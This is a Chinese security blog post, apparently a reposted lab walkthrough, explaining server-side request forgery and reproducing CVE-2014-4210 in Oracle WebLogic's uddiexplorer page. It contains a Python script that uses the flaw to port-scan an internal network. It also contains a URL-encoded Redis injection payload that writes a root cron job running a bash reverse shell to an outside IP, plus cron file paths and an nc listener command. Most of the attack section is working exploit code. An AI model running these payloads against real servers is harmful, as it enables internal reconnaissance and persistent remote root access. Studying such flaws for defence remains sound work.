SSRF,以weblogic为案例
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號:b1gpig信息安全,文章推送不錯(cuò)過
復(fù)習(xí)一下ssrf的原理及危害,并且以weblog的ssrf漏洞為案例
漏洞原理
SSRF(Server-side Request Forge, 服務(wù)端請求偽造)
通常用于控制web進(jìn)而探測內(nèi)網(wǎng)服務(wù)以及攻擊內(nèi)網(wǎng)脆弱應(yīng)用
即當(dāng)作跳板機(jī),可作為ssrfsocks代理
SSRF(Server-Side Request Forgery:服務(wù)器端請求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個(gè)安全漏洞。一般情況下,SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標(biāo)地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,下載等等。
通俗的說,比如這樣一個(gè)url:,如果我們將換為與該服務(wù)器相連的內(nèi)網(wǎng)服務(wù)器地址會(huì)產(chǎn)生什么效果呢?比如127.0.0.1、10.0.0.1、192.168.1.1等等,如果存在該內(nèi)網(wǎng)地址就會(huì)返回1xx 2xx 之類的狀態(tài)碼,不存在就會(huì)返回其他的狀態(tài)碼,所以:如果應(yīng)用程序?qū)τ脩籼峁┑腢RL和遠(yuǎn)端服務(wù)器返回的信息沒有進(jìn)行合適的驗(yàn)證和過濾,就可能存在這種服務(wù)端請求偽造的缺陷。
漏洞產(chǎn)生
由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對地址和協(xié)議等做過濾和限制。
漏洞信息:
CVE-2014-4210,
版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0
復(fù)現(xiàn)過程
訪問 http://your-ip:7001/uddiexplorer/ 無需登錄即可查看uddiexplorer應(yīng)用。
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
我們在brupsuite下測試該漏洞。訪問一個(gè)可以訪問的IP:PORT,如http://127.0.0.1:7001
抓包:觀察發(fā)現(xiàn)operator參數(shù),傳遞了一個(gè)URL,服務(wù)器回去訪問這個(gè)url,可以思考它是否可以去訪問內(nèi)網(wǎng)主機(jī),是否有SSRF漏洞
測試在訪問不用的URL和端口時(shí),返回的結(jié)果是否相同:
訪問url和7001端口:返回一個(gè)404 狀態(tài)碼
訪問一個(gè)不存在的端口:
根據(jù)報(bào)錯(cuò)的不同,可以進(jìn)行內(nèi)網(wǎng)探測,首先需要知道他的內(nèi)網(wǎng)網(wǎng)段、
docker內(nèi)網(wǎng)網(wǎng)段為172.18.0.xxx
簡單腳本(Python2)(以知道網(wǎng)段為前提)
import thread import time import re import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://your ip:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content)if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.18.0"if ip:print ipite_ip(ip)else:print "no ip"
反彈shell:
利用這個(gè)6379端口,注入http頭,將反彈shell腳本寫入:
使用url編碼:
text%0A%0Aset%201%20%E2%80%9C%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%E2%80%9D%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%20%0A%0Aaaa腳本含義:
. 發(fā)送三條redis命令,將彈shell腳本寫入/etc/crontab: 分別為:
1. *號,意思是這條命令一直執(zhí)行,也就是一直執(zhí)行反彈shell的命令
2. 置redis備份文件的工作目錄
3. 寫入哪個(gè)文件,如果不存在,就創(chuàng)建
-
crontap 就是linux定時(shí)任務(wù)的位置,即守護(hù)進(jìn)程
-
/etc/crontab 這個(gè)是肯定的 *
/etc/cron.d/*將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個(gè)目錄,可以做到不覆蓋任何其他文件的情況進(jìn)行彈shell。 -
/var/spool/cron/root centos系統(tǒng)下root用戶的cron文件
-
/var/spool/cron/crontabs/root debian系統(tǒng)下root用戶的cron文件
開啟端口監(jiān)聽:
nc -lvvnp 7778收到數(shù)據(jù)包,反彈shell成功
看完點(diǎn)贊關(guān)注不迷路!!! 后續(xù)繼續(xù)更新優(yōu)質(zhì)安全內(nèi)容!!!
總結(jié)
以上是生活随笔為你收集整理的SSRF,以weblogic为案例的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 装win10系统后没声音怎么办 win1
- 下一篇: 滨州电梯房有多少层的